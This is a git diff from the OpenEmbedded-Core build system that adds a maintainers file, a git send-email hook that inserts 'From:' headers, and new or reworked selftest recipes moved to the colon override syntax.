+OpenEmbedded and Yocto Project work jointly together to maintain the metadata,
+layers, tools and sub-projects that make up their ecosystems.
+
+The projects operate through collaborative development. This currently takes
+place on mailing lists for many components as the "pull request on github"
+workflow works well for single or small numbers of maintainers but we have
+a large number, all with different specialisms and benefit from the mailing
+list review process. Changes therefore undergo peer review through mailing
+lists in many cases.
+
+This file aims to acknowledge people with specific skills/knowledge/interest
+both to recognise their contributions but also empower them to help lead and
+curate those components. Where we have people with specialist knowledge in
+particular areas, during review patches/feedback from these people in these
+areas would generally carry weight.
+
+This file is maintained in OE-Core but may refer to components that are separate
+to it if that makes sense in the context of maintainership. The README of specific
+layers and components should ultimately be definitive about the patch process and
+maintainership for the component.
+
+Recipe Maintainers
+------------------
+
+See meta/conf/distro/include/maintainers.inc
+
+Component/Subsystem Maintainers
+-------------------------------
+
+* Kernel (inc. linux-yocto, perf): Bruce Ashfield
+* Reproducible Builds: Joshua Watt
+* Toaster: David Reyna
+* Hash-Equivalence: Joshua Watt
+* Recipe upgrade infrastructure: Alex Kanavin
+* Toolchain: Khem Raj
+* ptest-runner: Aníbal Limón
+* opkg: Alex Stewart
+* devtool: Saul Wold
+* eSDK: Saul Wold
+* overlayfs: Vyacheslav Yurkov
+
+Maintainers needed
+------------------
+
+* Pseudo
+* Layer Index
+* recipetool
+* QA framework/automated testing
+* error reporting system/web UI
+* wic
+* Patchwork
+* Patchtest
+* Prelink-cross
+* Matchbox
+* Sato
+* Autobuilder
+
+Layer Maintainers needed
+------------------------
+
+* meta-gplv2 (ideally new strategy but active maintainer welcome)
+
+Shadow maintainers/development needed
+--------------------------------------
+
+* toaster
+* bitbake
+
+
diff --git a/README.OE-Core b/README.OE-Core
deleted file mode 100644
index 521916cd4f..0000000000
--- a/README.OE-Core
+++ /dev/null
@@ -1,29 +0,0 @@
-OpenEmbedded-Core
-=================
-
-OpenEmbedded-Core is a layer containing the core metadata for current versions
-of OpenEmbedded. It is distro-less (can build a functional image with
-DISTRO = "nodistro") and contains only emulated machine support.
-
-For information about OpenEmbedded, see the OpenEmbedded website:
- http://www.openembedded.org/
-
-The Yocto Project has extensive documentation about OE including a reference manual
-which can be found at:
- http://yoctoproject.org/documentation
-
-
-Contributing
-------------
-
-Please refer to
-http://www.openembedded.org/wiki/How_to_submit_a_patch_to_OpenEmbedded
-for guidelines on how to submit patches.
-
-Mailing list:
-
- http://lists.openembedded.org/mailman/listinfo/openembedded-core
-
-Source code:
-
- http://git.openembedded.org/openembedded-core/
diff --git a/README.OE-Core.md b/README.OE-Core.md
new file mode 100644
index 0000000000..2f2127fb03
--- /dev/null
+++ b/README.OE-Core.md
@@ -0,0 +1,29 @@
+OpenEmbedded-Core
+=================
+
+OpenEmbedded-Core is a layer containing the core metadata for current versions
+of OpenEmbedded. It is distro-less (can build a functional image with
+DISTRO = "nodistro") and contains only emulated machine support.
+
+For information about OpenEmbedded, see the OpenEmbedded website:
+ https://www.openembedded.org/
+
+The Yocto Project has extensive documentation about OE including a reference manual
+which can be found at:
+ https://docs.yoctoproject.org/
+
+
+Contributing
+------------
+
+Please refer to
+https://www.openembedded.org/wiki/How_to_submit_a_patch_to_OpenEmbedded
+for guidelines on how to submit patches.
+
+Mailing list:
+
+ https://lists.openembedded.org/g/openembedded-core
+
+Source code:
+
+ https://git.openembedded.org/openembedded-core/
diff --git a/README.md b/README.md
new file mode 120000
index 0000000000..4d7e9e8b42
--- /dev/null
+++ b/README.md
@@ -0,0 +1 @@
+README.OE-Core.md \ No newline at end of file
diff --git a/README.qemu b/README.qemu.md
index 9f56b7d668..9f56b7d668 100644
--- a/README.qemu
+++ b/README.qemu.md
diff --git a/contrib/git-hooks/sendemail-validate.sample b/contrib/git-hooks/sendemail-validate.sample
new file mode 100755
index 0000000000..af5d55cb00
--- /dev/null
+++ b/contrib/git-hooks/sendemail-validate.sample
@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+
+# Copyright (C) 2020 Agilent Technologies, Inc.
+# Author: Chris Laplante <chris.laplante@agilent.com>
+
+# This sendemail-validate hook injects 'From: ' header lines into outgoing
+# emails sent via 'git send-email', to ensure that accurate commit authorship
+# information is present. It was created because some email servers
+# (notably Microsoft Exchange / Office 360) seem to butcher outgoing patches,
+# resulting in incorrect authorship.
+
+# Current limitations:
+# 1. Assumes one per patch per email
+# 2. Minimal error checking
+#
+# Installation:
+# 1. Copy to .git/hooks/sendemail-validate
+# 2. chmod +x .git/hooks/sendemail-validate
+
+
+import enum
+import re
+import subprocess
+import sys
+
+
+class Subject(enum.IntEnum):
+ NOT_SEEN = 0
+ CONSUMING = 1
+ SEEN = 2
+
+
+def make_from_line():
+ cmd = ["git", "var", "GIT_COMMITTER_IDENT"]
+ proc = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, universal_newlines=True)
+ regex = re.compile(r"^(.*>).*$")
+ match = regex.match(proc.stdout)
+ assert match is not None
+ return "From: {0}".format(match.group(1))
+
+
+def main():
+ email = sys.argv[1]
+
+ with open(email, "r") as f:
+ email_lines = f.read().split("\n")
+
+ subject_seen = Subject.NOT_SEEN
+ first_body_line = None
+ for i, line in enumerate(email_lines):
+ if (subject_seen == Subject.NOT_SEEN) and line.startswith("Subject: "):
+ subject_seen = Subject.CONSUMING
+ continue
+ if subject_seen == Subject.CONSUMING:
+ if not line.strip():
+ subject_seen = Subject.SEEN
+ continue
+ if subject_seen == Subject.SEEN:
+ first_body_line = i
+ break
+
+ assert subject_seen == Subject.SEEN
+ assert first_body_line is not None
+
+ from_line = make_from_line()
+ # Only add FROM line if it is not already there
+ if email_lines[first_body_line] != from_line:
+ email_lines.insert(first_body_line, from_line)
+ email_lines.insert(first_body_line + 1, "")
+ with open(email, "w") as f:
+ f.write("\n".join(email_lines))
+
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
+
diff --git a/meta-selftest/classes/test-mkimage-wrapper.bbclass b/meta-selftest/classes/test-mkimage-wrapper.bbclass
new file mode 100644
index 0000000000..7c98d7b71e
--- /dev/null
+++ b/meta-selftest/classes/test-mkimage-wrapper.bbclass
@@ -0,0 +1,19 @@
+# Class to test UBOOT_MKIMAGE and UBOOT_MKIMAGE_SIGN
+# (in conjunction with kernel-fitimage.bbclass)
+#
+# SPDX-License-Identifier: MIT
+#
+
+UBOOT_MKIMAGE = "test_mkimage_wrapper"
+UBOOT_MKIMAGE_SIGN = "test_mkimage_signing_wrapper"
+
+test_mkimage_wrapper() {
+ echo "### uboot-mkimage wrapper message"
+ uboot-mkimage "$@"
+}
+
+test_mkimage_signing_wrapper() {
+ echo "### uboot-mkimage signing wrapper message"
+ uboot-mkimage "$@"
+}
+
diff --git a/meta-selftest/conf/layer.conf b/meta-selftest/conf/layer.conf
index 37570aa833..fae8c5a65a 100644
--- a/meta-selftest/conf/layer.conf
+++ b/meta-selftest/conf/layer.conf
@@ -9,4 +9,4 @@ BBFILE_COLLECTIONS += "selftest"
BBFILE_PATTERN_selftest = "^${LAYERDIR}/"
BBFILE_PRIORITY_selftest = "5"
-LAYERSERIES_COMPAT_selftest = "gatesgarth"
+LAYERSERIES_COMPAT_selftest = "honister"
diff --git a/meta-selftest/files/static-group b/meta-selftest/files/static-group
index 9213b8e9bc..b2e0e2f870 100644
--- a/meta-selftest/files/static-group
+++ b/meta-selftest/files/static-group
@@ -11,4 +11,15 @@ avahi:x:509:
avahi-autoipd:x:510:
rpc:x:511:
rpcuser:x:513:
-
+dhcpcd:x:514:
+sshd:x:516:
+lpadmin:x:517:
+crontab:x:518:
+tracing:x:519:
+pulse:x:520:
+bind:x:521:
+builder:x:522:
+_apt:x:523:
+weston-launch:x:524:
+weston:x:525:
+wayland:x:526:
diff --git a/meta-selftest/files/static-passwd b/meta-selftest/files/static-passwd
index 412f85d469..2cfd0c9b42 100644
--- a/meta-selftest/files/static-passwd
+++ b/meta-selftest/files/static-passwd
@@ -9,3 +9,11 @@ avahi-autoipd:x:510:510::/:/bin/nologin
rpc:x:511:511::/:/bin/nologin
distcc:x:512:nogroup::/:/bin/nologin
rpcuser:x:513:513::/var/lib/nfs:/bin/nologin
+dhcpcd:x:514:514::/:/bin/nologin
+tester:x:515:515::/:/bin/nologin
+sshd:x:516:516::/:/bin/nologin
+pulse:x:520:520::/:/bin/nologin
+bind:x:521:521::/:/bin/nologin
+builder:x:522:522::/:/bin/nologin
+_apt:x:523:523::/:/bin/nologin
+weston:x:525:525::/:/bin/nologin
diff --git a/meta-selftest/lib/pseudo_pyc_test1.py b/meta-selftest/lib/pseudo_pyc_test1.py
new file mode 100644
index 0000000000..b59abdd536
--- /dev/null
+++ b/meta-selftest/lib/pseudo_pyc_test1.py
@@ -0,0 +1 @@
+STRING = "pseudo_pyc_test1"
diff --git a/meta-selftest/lib/pseudo_pyc_test2.py b/meta-selftest/lib/pseudo_pyc_test2.py
new file mode 100644
index 0000000000..fb67a978e0
--- /dev/null
+++ b/meta-selftest/lib/pseudo_pyc_test2.py
@@ -0,0 +1 @@
+STRING = "pseudo_pyc_test2"
diff --git a/meta-selftest/recipes-devtools/python/python-async-test.inc b/meta-selftest/recipes-devtools/python/python-async-test.inc
index c9602e8e52..6d7c7458b0 100644
--- a/meta-selftest/recipes-devtools/python/python-async-test.inc
+++ b/meta-selftest/recipes-devtools/python/python-async-test.inc
@@ -1,7 +1,7 @@
SUMMARY = "Python framework to process interdependent tasks in a pool of workers"
HOMEPAGE = "http://github.com/gitpython-developers/async"
SECTION = "devel/python"
-LICENSE = "BSD"
+LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=88df8e78b9edfd744953862179f2d14e"
inherit pypi
@@ -11,6 +11,6 @@ PYPI_PACKAGE = "async"
SRC_URI[md5sum] = "9b06b5997de2154f3bc0273f80bcef6b"
SRC_URI[sha256sum] = "ac6894d876e45878faae493b0cf61d0e28ec417334448ac0a6ea2229d8343051"
-RDEPENDS_${PN} += "${PYTHON_PN}-threading"
+RDEPENDS:${PN} += "${PYTHON_PN}-threading"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb b/meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb
index 9f905a5198..d6f3628e60 100644
--- a/meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb
+++ b/meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb
@@ -4,6 +4,7 @@
SUMMARY = "GNU Aspell spell-checker"
SECTION = "console/utils"
+HOMEPAGE = "https://ftp.gnu.org/gnu/aspell/"
LICENSE = "LGPLv2 | LGPLv2.1"
LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
@@ -19,15 +20,15 @@ PACKAGECONFIG[curses] = "--enable-curses,--disable-curses,ncurses"
PACKAGES += "libaspell libpspell libpspell-dev aspell-utils"
-FILES_${PN}-dbg += "${libdir}/aspell-0.60/.debu*"
-FILES_libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
-FILES_aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
-FILES_${PN} = "${bindir}/aspell"
-FILES_libpspell = "${libdir}/libpspell.so.*"
-FILES_libpspell-dev = "${libdir}/libpspell* ${bindir}/pspell-config ${includedir}/pspell"
+FILES:${PN}-dbg += "${libdir}/aspell-0.60/.debu*"
+FILES:libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
+FILES:aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
+FILES:${PN} = "${bindir}/aspell"
+FILES:libpspell = "${libdir}/libpspell.so.*"
+FILES:libpspell-dev = "${libdir}/libpspell* ${bindir}/pspell-config ${includedir}/pspell"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
inherit autotools gettext
diff --git a/meta-selftest/recipes-test/container-image/container-image-testpkg.bb b/meta-selftest/recipes-test/container-image/container-image-testpkg.bb
index f8dd2290b3..929bc29753 100644
--- a/meta-selftest/recipes-test/container-image/container-image-testpkg.bb
+++ b/meta-selftest/recipes-test/container-image/container-image-testpkg.bb
@@ -2,7 +2,7 @@ LICENSE = "MIT"
INHIBIT_DEFAULT_DEPS = "1"
-do_install_append() {
+do_install:append() {
install -d ${D}${bindir}
touch ${D}${bindir}/theapp
}
diff --git a/meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb b/meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb
index d36c9edee4..f12bee0b3d 100644
--- a/meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb
+++ b/meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb
@@ -4,5 +4,5 @@ INHIBIT_DEFAULT_DEPS = "1"
EXCLUDE_FROM_WORLD = "1"
SRC_URI = "file://source;subdir=${BP}"
-SRC_URI_append_qemuarm = " file://arm.patch;striplevel=0"
-SRC_URI_append_qemux86 = " file://x86.patch;striplevel=0"
+SRC_URI:append:qemuarm = " file://arm.patch;striplevel=0"
+SRC_URI:append:qemux86 = " file://x86.patch;striplevel=0"
diff --git a/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb b/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb
index 07b83276fb..8a27e3a791 100644
--- a/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb
+++ b/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb
@@ -11,7 +11,7 @@ SRCREV = "1a3e1343761b30750bed70e0fd688f6d3c7b3717"
PV = "0.1+git${SRCPV}"
PR = "r2"
-SRC_URI = "git://git.yoctoproject.org/dbus-wait"
+SRC_URI = "git://git.yoctoproject.org/dbus-wait;branch=master"
UPSTREAM_CHECK_COMMITS = "1"
RECIPE_NO_UPDATE_REASON = "This recipe is used to test devtool upgrade feature"
diff --git a/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded b/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded
index 32ec4b14fa..fbe90d6c6b 100644
--- a/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded
+++ b/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded
@@ -10,7 +10,7 @@ DEPENDS = "dbus"
SRCREV = "6cc6077a36fe2648a5f993fe7c16c9632f946517"
PV = "0.1+git${SRCPV}"
-SRC_URI = "git://git.yoctoproject.org/dbus-wait"
+SRC_URI = "git://git.yoctoproject.org/dbus-wait;branch=master"
UPSTREAM_CHECK_COMMITS = "1"
RECIPE_NO_UPDATE_REASON = "This recipe is used to test devtool upgrade feature"
diff --git a/meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb b/meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb
index 08089b4186..cc5d7eae5a 100644
--- a/meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb
+++ b/meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb
@@ -1,8 +1,9 @@
SUMMARY = "Test recipe for fetching git submodules"
+HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/git-submodule-test/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
INHIBIT_DEFAULT_DEPS = "1"
-SRC_URI = "gitsm://git.yoctoproject.org/git-submodule-test"
+SRC_URI = "gitsm://git.yoctoproject.org/git-submodule-test;branch=master"
SRCREV = "a2885dd7d25380d23627e7544b7bbb55014b16ee"
diff --git a/meta-selftest/recipes-test/images/wic-image-minimal.bb b/meta-selftest/recipes-test/images/wic-image-minimal.bb
index e1da203b59..84d3721885 100644
--- a/meta-selftest/recipes-test/images/wic-image-minimal.bb
+++ b/meta-selftest/recipes-test/images/wic-image-minimal.bb
@@ -6,7 +6,10 @@ IMAGE_INSTALL = "packagegroup-core-boot"
IMAGE_FSTYPES = "wic"
-WKS_FILE_DEPENDS = "syslinux syslinux-native dosfstools-native mtools-native gptfdisk-native"
+WKS_FILE_DEPENDS = "dosfstools-native mtools-native gptfdisk-native"
+WKS_FILE_DEPENDS:append:x86 = " syslinux-native syslinux"
+WKS_FILE_DEPENDS:append:x86-64 = " syslinux-native syslinux"
+WKS_FILE_DEPENDS:append:x86-x32 = " syslinux-native syslinux"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
diff --git a/meta-selftest/recipes-test/license/incompatible-license.bb b/meta-selftest/recipes-test/license/incompatible-license.bb
index 1728ad76b7..282f5c2875 100644
--- a/meta-selftest/recipes-test/license/incompatible-license.bb
+++ b/meta-selftest/recipes-test/license/incompatible-license.bb
@@ -1,3 +1,3 @@
SUMMARY = "Recipe with an SPDX license"
DESCRIPTION = "Is licensed with an SPDX license to be used for testing"
-LICENSE = "GPL-3.0"
+LICENSE = "GPL-3.0-only"
diff --git a/meta-selftest/recipes-test/license/incompatible-licenses.bb b/meta-selftest/recipes-test/license/incompatible-licenses.bb
index 9c1545efba..ab3b58d2c9 100644
--- a/meta-selftest/recipes-test/license/incompatible-licenses.bb
+++ b/meta-selftest/recipes-test/license/incompatible-licenses.bb
@@ -1,3 +1,3 @@
SUMMARY = "Recipe with multiple SPDX licenses"
DESCRIPTION = "Is licensed with multiple SPDX licenses to be used for testing"
-LICENSE = "GPL-2.0 & GPL-3.0 & LGPL-3.0"
+LICENSE = "GPL-2.0-only & GPL-3.0 & LGPL-3.0-only"
diff --git a/meta-selftest/recipes-test/logging-test/logging-test.bb b/meta-selftest/recipes-test/logging-test/logging-test.bb
new file mode 100644
index 0000000000..a6100123f9
--- /dev/null
+++ b/meta-selftest/recipes-test/logging-test/logging-test.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Destined to fail"
+LICENSE = "CLOSED"
+
+deltask do_patch
+INHIBIT_DEFAULT_DEPS = "1"
+
+do_shelltest() {
+ echo "This is shell stdout"
+ echo "This is shell stderr" >&2
+ exit 1
+}
+addtask do_shelltest
+
+python do_pythontest_exit () {
+ print("This is python stdout")
+ sys.exit(1)
+}
+addtask do_pythontest_exit
+
+python do_pythontest_fatal () {
+ print("This is python fatal test stdout")
+ bb.fatal("This is a fatal error")
+}
+addtask do_pythontest_fatal
diff --git a/meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb b/meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb
index a76a6bea1b..daf2834958 100644
--- a/meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb
+++ b/meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb
@@ -1,10 +1,10 @@
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-MCMACHINE_virtclass-mcextend-musl = "qemux86-64"
-MCMACHINE_virtclass-mcextend-tiny = "qemux86"
-MCIMGTYPE_virtclass-mcextend-musl = "ext4"
-MCIMGTYPE_virtclass-mcextend-tiny = "cpio.gz"
+MCMACHINE:virtclass-mcextend-musl = "qemux86-64"
+MCMACHINE:virtclass-mcextend-tiny = "qemux86"
+MCIMGTYPE:virtclass-mcextend-musl = "ext4"
+MCIMGTYPE:virtclass-mcextend-tiny = "cpio.gz"
MC_DEPLOY_DIR_IMAGE = "${TOPDIR}/tmp-mc-${MCNAME}/deploy/images/${MCMACHINE}"
diff --git a/meta-selftest/recipes-test/overlayfs-user/overlayfs-user.bb b/meta-selftest/recipes-test/overlayfs-user/overlayfs-user.bb
new file mode 100644
index 0000000000..913a4d1fdb
--- /dev/null
+++ b/meta-selftest/recipes-test/overlayfs-user/overlayfs-user.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Overlayfs class unit test"
+DESCRIPTION = "Contains an overlayfs configuration"
+LICENSE = "MIT"
+
+INHIBIT_DEFAULT_DEPS = "1"
+EXCLUDE_FROM_WORLD = "1"
+
+inherit ${@bb.utils.contains("DISTRO_FEATURES", "overlayfs", "overlayfs", "", d)}
+include test_recipe.inc
+
+OVERLAYFS_WRITABLE_PATHS[mnt-overlay] += "/usr/share/my-application"
+
+do_install() {
+ install -d ${D}/usr/share/my-application
+}
+
+FILES:${PN} += "/usr"
diff --git a/meta-selftest/recipes-test/poison/poison.bb b/meta-selftest/recipes-test/poison/poison.bb
new file mode 100644
index 0000000000..7ace901cc3
--- /dev/null
+++ b/meta-selftest/recipes-test/poison/poison.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Sysroot poisoning test"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+inherit nopackages
+
+# This test confirms that compiling code that searches /usr/include for headers
+# will result in compiler errors. This recipe should will fail to build and
+# oe-selftest has a test that verifies that.
+do_compile() {
+ touch empty.c
+ ${CPP} ${CFLAGS} -I/usr/include empty.c
+}
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-test/postinst/postinst_1.0.bb b/meta-selftest/recipes-test/postinst/postinst_1.0.bb
index 913bfabf89..b936c4f44b 100644
--- a/meta-selftest/recipes-test/postinst/postinst_1.0.bb
+++ b/meta-selftest/recipes-test/postinst/postinst_1.0.bb
@@ -5,19 +5,19 @@ inherit allarch
PACKAGES = "${PN}-rootfs ${PN}-delayed-a ${PN}-delayed-b ${PN}-rootfs-failing"
-ALLOW_EMPTY_${PN}-rootfs = "1"
-ALLOW_EMPTY_${PN}-delayed-a = "1"
-ALLOW_EMPTY_${PN}-delayed-b = "1"
-ALLOW_EMPTY_${PN}-rootfs-failing = "1"
+ALLOW_EMPTY:${PN}-rootfs = "1"
+ALLOW_EMPTY:${PN}-delayed-a = "1"
+ALLOW_EMPTY:${PN}-delayed-b = "1"
+ALLOW_EMPTY:${PN}-rootfs-failing = "1"
-RDEPENDS_${PN}-delayed-a = "${PN}-rootfs"
-RDEPENDS_${PN}-delayed-b = "${PN}-delayed-a"
+RDEPENDS:${PN}-delayed-a = "${PN}-rootfs"
+RDEPENDS:${PN}-delayed-b = "${PN}-delayed-a"
TESTDIR = "${sysconfdir}/postinst-test"
# At rootfs time touch $TESTDIR/rootfs. Errors if the file already exists, or
# if the function runs on first boot.
-pkg_postinst_${PN}-rootfs () {
+pkg_postinst:${PN}-rootfs () {
set -e
if [ -z "$D" ]; then
@@ -36,7 +36,7 @@ pkg_postinst_${PN}-rootfs () {
# Depends on rootfs, delays until first boot, verifies that the rootfs file was
# written.
-pkg_postinst_ontarget_${PN}-delayed-a () {
+pkg_postinst_ontarget:${PN}-delayed-a () {
set -e
if [ ! -e ${TESTDIR}/rootfs ]; then
@@ -49,7 +49,7 @@ pkg_postinst_ontarget_${PN}-delayed-a () {
# Depends on delayed-a, delays until first boot, verifies that the delayed-a file was
# written. This verifies the ordering between delayed postinsts.
-pkg_postinst_ontarget_${PN}-delayed-b () {
+pkg_postinst_ontarget:${PN}-delayed-b () {
set -e
if [ ! -e ${TESTDIR}/delayed-a ]; then
@@ -62,7 +62,7 @@ pkg_postinst_ontarget_${PN}-delayed-b () {
# This scriptlet intentionally includes a bogus command in the middle to test
# that we catch and report such errors properly.
-pkg_postinst_${PN}-rootfs-failing () {
+pkg_postinst:${PN}-rootfs-failing () {
mkdir -p $D${TESTDIR}
touch $D${TESTDIR}/rootfs-before-failure
run_a_really_broken_command
diff --git a/meta-selftest/recipes-test/pseudo-pyc-test/pseudo-pyc-test.bb b/meta-selftest/recipes-test/pseudo-pyc-test/pseudo-pyc-test.bb
new file mode 100644
index 0000000000..12dc91a8f3
--- /dev/null
+++ b/meta-selftest/recipes-test/pseudo-pyc-test/pseudo-pyc-test.bb
@@ -0,0 +1,15 @@
+SUMMARY = "pseudo env test"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+python do_compile() {
+ import pseudo_pyc_test1
+ print(pseudo_pyc_test1.STRING)
+}
+
+python do_install() {
+ import pseudo_pyc_test2
+ print(pseudo_pyc_test2.STRING)
+}
diff --git a/meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb b/meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb
index b5f976708f..e127b48b15 100644
--- a/meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb
+++ b/meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb
@@ -34,9 +34,9 @@ do_install() {
install_extrafunc
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
echo "Test file installed by postinst" > $D${datadir}/selftest-replaceme-postinst
}
-FILES_${PN} += "${datadir}"
+FILES:${PN} += "${datadir}"
diff --git a/meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb b/meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb
index 0cd0494da8..062d6a7a05 100644
--- a/meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb
+++ b/meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb
@@ -10,4 +10,4 @@ BBCLASSEXTEND = "native nativesdk"
SRC_URI += "file://somefile"
-SRC_URI_append = " file://anotherfile"
+SRC_URI:append = " file://anotherfile"
diff --git a/meta-selftest/recipes-test/selftest-chown/selftest-chown.bb b/meta-selftest/recipes-test/selftest-chown/selftest-chown.bb
index 87bf9438b8..aa6ce0c2a0 100644
--- a/meta-selftest/recipes-test/selftest-chown/selftest-chown.bb
+++ b/meta-selftest/recipes-test/selftest-chown/selftest-chown.bb
@@ -3,12 +3,14 @@ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda
LICENSE = "MIT"
+DEPENDS += "coreutils-native"
+
S = "${WORKDIR}"
inherit useradd allarch
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "-u 1234 -M test"
+USERADD_PARAM:${PN} = "-u 1234 -M test"
TESTDIR = "${D}${sysconfdir}/selftest-chown"
do_install() {
@@ -16,10 +18,13 @@ do_install() {
install -d ${TESTDIR}/dir
touch ${TESTDIR}/file
ln -s ./file ${TESTDIR}/symlink
+ install -d ${TESTDIR}/fifotest
+ mkfifo ${TESTDIR}/fifotest/fifo
chown test:test ${TESTDIR}/file
chown -R test:test ${TESTDIR}/dir
chown -h test:test ${TESTDIR}/symlink
+ chown -R test:test ${TESTDIR}/fifotest
}
-FILES_${PN} = "${sysconfdir}/selftest-chown/*"
+FILES:${PN} = "${sysconfdir}/selftest-chown/*"
diff --git a/meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb b/meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb
index 4f713f5c0e..7595e8ef16 100644
--- a/meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb
+++ b/meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb
@@ -17,8 +17,8 @@ S = "${WORKDIR}/ed-${PV}"
EXTRA_OECONF = "'CC=${CC}' 'CXX=${CXX}' 'CFLAGS=${CFLAGS}' 'CXXFLAGS=${CXXFLAGS}' 'CPPFLAGS=${CPPFLAGS}' 'LDFLAGS=${LDFLAGS}'"
-CONFIGUREOPTS_remove = "--disable-dependency-tracking"
-CONFIGUREOPTS_remove = "--disable-silent-rules"
-EXTRA_OECONF_remove = "--disable-static"
+CONFIGUREOPTS:remove = "--disable-dependency-tracking"
+CONFIGUREOPTS:remove = "--disable-silent-rules"
+EXTRA_OECONF:remove = "--disable-static"
BBCLASSEXTEND = "native"
diff --git a/meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb b/meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb
index 842a9772cb..be346b8a0e 100644
--- a/meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb
+++ b/meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb
@@ -25,6 +25,6 @@ do_install () {
dd if=/dev/zero of=${D}${bindir}/sparsetest bs=1 count=0 seek=1M
}
-RDEPENDS_${PN}-gdb += "gdb"
+RDEPENDS:${PN}-gdb += "gdb"
PACKAGES =+ "${PN}-gdb"
-FILES_${PN}-gdb = "${bindir}/gdb.sh"
+FILES:${PN}-gdb = "${bindir}/gdb.sh"
diff --git a/meta-selftest/recipes-test/systemd-machine-units/systemd-machine-units_%.bbappend b/meta-selftest/recipes-test/systemd-machine-units/systemd-machine-units_%.bbappend
new file mode 100644
index 0000000000..205720982c
--- /dev/null
+++ b/meta-selftest/recipes-test/systemd-machine-units/systemd-machine-units_%.bbappend
@@ -0,0 +1,2 @@
+# This bbappend is used to alter the recipe using the test_recipe.inc file created by tests.
+include test_recipe.inc
diff --git a/meta-selftest/wic/overlayfs_etc.wks.in b/meta-selftest/wic/overlayfs_etc.wks.in
new file mode 100644
index 0000000000..1e1e5836e7
--- /dev/null
+++ b/meta-selftest/wic/overlayfs_etc.wks.in
@@ -0,0 +1,4 @@
+part /boot --active --source bootimg-biosplusefi --ondisk sda --sourceparams="loader=grub-efi" --align 1024
+part / --source rootfs --ondisk sda --fstype=ext4 --use-uuid --align 1024
+part --ondisk sda --fstype=ext4 --size=5 --align 1024
